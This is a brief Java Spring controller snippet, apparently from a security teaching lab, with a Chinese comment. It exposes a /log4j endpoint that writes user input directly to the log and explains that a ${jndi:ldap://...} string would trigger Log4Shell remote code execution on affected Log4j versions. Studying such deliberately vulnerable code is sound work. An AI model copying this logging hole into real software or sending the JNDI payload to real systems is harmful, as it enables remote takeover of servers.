7

 @RequestMapping(value = "/log4j")
	//使用 logger.error(token) 将用户输入写入日志。如果 Log4j 使用的是受影响版本，这里的 ${jndi:ldap://...} 将被解析执行，触发远程加载类，导致 RCE
    public String log4j(String token) {
        logger.error(token);
        return token;
    }

1
2
3
4
5
6